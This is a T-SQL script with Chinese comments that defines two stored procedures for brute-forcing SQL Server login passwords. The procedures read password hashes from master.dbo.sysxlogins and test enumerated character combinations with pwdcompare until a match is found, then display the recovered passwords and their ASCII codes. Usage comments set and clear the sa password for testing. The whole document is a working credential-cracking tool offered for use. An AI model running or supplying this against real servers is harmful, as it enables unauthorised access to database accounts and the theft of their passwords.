--drop procedure [dbo].[p_getpassword]
go
/*--窮舉法破解 sql server 用戶密碼
可以破解中文,特殊字符,字符+尾隨空格的密碼
為了方便顯示特殊字符的密碼,在顯示結果中,顯示了組成密碼的ascii
理論上可以破解任意位數的密碼
條件是你的電腦配置足夠,時間足夠
--鄒建 2004.08(引用請保留此信息)--*/
/*--調用示例
--測試特殊字符
declare @pwd sysname
set @pwd=char(0)+'a '
exec sp_password null,@pwd,'sa'
exec p_getpassword
--測試帶空格的密碼
exec sp_password null,'a ','sa'
exec p_getpassword
--測試中文
exec sp_password null,'我 ','sa'
exec p_getpassword
--清除密碼
exec sp_password null,null,'sa'
--*/
create proc p_getpassword
@username sysname=null,--用戶名,如果不指定,則列出所有用戶
@pwdlen int=3--密碼破解的位數,默認只破解3位及以下的密碼
as
--生成要破解的密碼的用戶表
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null or datalength(password)<46
then 1 else 0 end
,pwdstr=case when datalength(password)<46
then cast(password as sysname)
else cast('' as sysname) end
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
--生成臨時表
select top 255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b
alter table #t add constraint pk_#t primary key(id)
--清理不需要的字符
if not exists(select 1 from #pwd where type=1)
delete from #t where id between 65 and 90 or id between 129 and 254
--密碼破解處理
declare @l int
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)
--破解1位密碼
select @l=0
,@s1='id=a.id'
,@s2='#t a'
,@s3='char(b.id)'
,@s4='cast(b.id as varchar)'
exec('
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#t b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')
--破解超過2位的密碼
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen-1)
begin
select @l=@l+1
,@s1=@s1+',id'+cast(@l as varchar)
+'='+char(@l/26+97)+char(@l%26+97)+'.id'
,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97)
,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'
,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'
exec('
select '+@s1+' into #tt from '+@s2+'
update pwd set jm=1,pwdstr='+@s3+'
,pwd='+@s4+'
from #pwd pwd,#tt b
where pwd.jm=0
and pwdcompare('+@s3+',pwd.password,pwd.type)=1
')
end
--顯示破解的密碼
select 用戶名=name,密碼=pwdstr,密碼ascii=pwd
from #pwd
go
----------------------------
alter proc p_GetPassword2
@username sysname=null, --用戶名,如果不指定,則列出所有用戶
@pwdlen int=2 --要破解的密碼的位數,默認是2位及以下的
as
set nocount on
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
declare @ss varchar(256)
--select @ss= '123456789'
select @ss= 'abcdefghijklmnopqrstuvwxyz'
select @ss=@ss+ '`0123456789-=[]\;,./'
select @ss=@ss+ '~!@#$%^&*()_+{}|:<>?'
--select @ss=@ss+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
create table #t(c char(1) not null)
alter table #t add constraint PK_#t primary key CLUSTERED (c)
declare @index int
select @index=1
while (@index <=len(@ss))
begin
insert #t select SUBSTRING(@ss, @index, 1)
select @index = @index +1
end
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
,times =cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000), @stimes varchar(8000)
declare @l int, @t bigint
select @t = count(1)*POWER(len(@ss),1) from #pwd
select @l=0
,@s1='aa.c'
,@s2='cast(ASCII(aa.c) as varchar)'
,@s3=',#t aa'
,@stimes='1th,' + cast(@t as varchar(20)) + 'rows'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
select @t = count(1)*POWER(len(@ss),@l+1) from #pwd
print @t
select
@s1=@s1+'+'+char(@l/26+97)+char(@l%26+97)+'.c'
,@s2=@s2+'+'',''+cast(ASCII('+char(@l/26+97)+char(@l%26+97)+'.c) as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
,@stimes=@stimes+';'+ cast(@l+1 as varchar(1)) + 'th,' + cast(@t as varchar(20)) + 'rows'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
,times='''+@stimes+'''
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select 用戶名=name,密碼=pwdstr,密碼ASCII=pwd, 查詢次數和行數=times
from #pwd
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd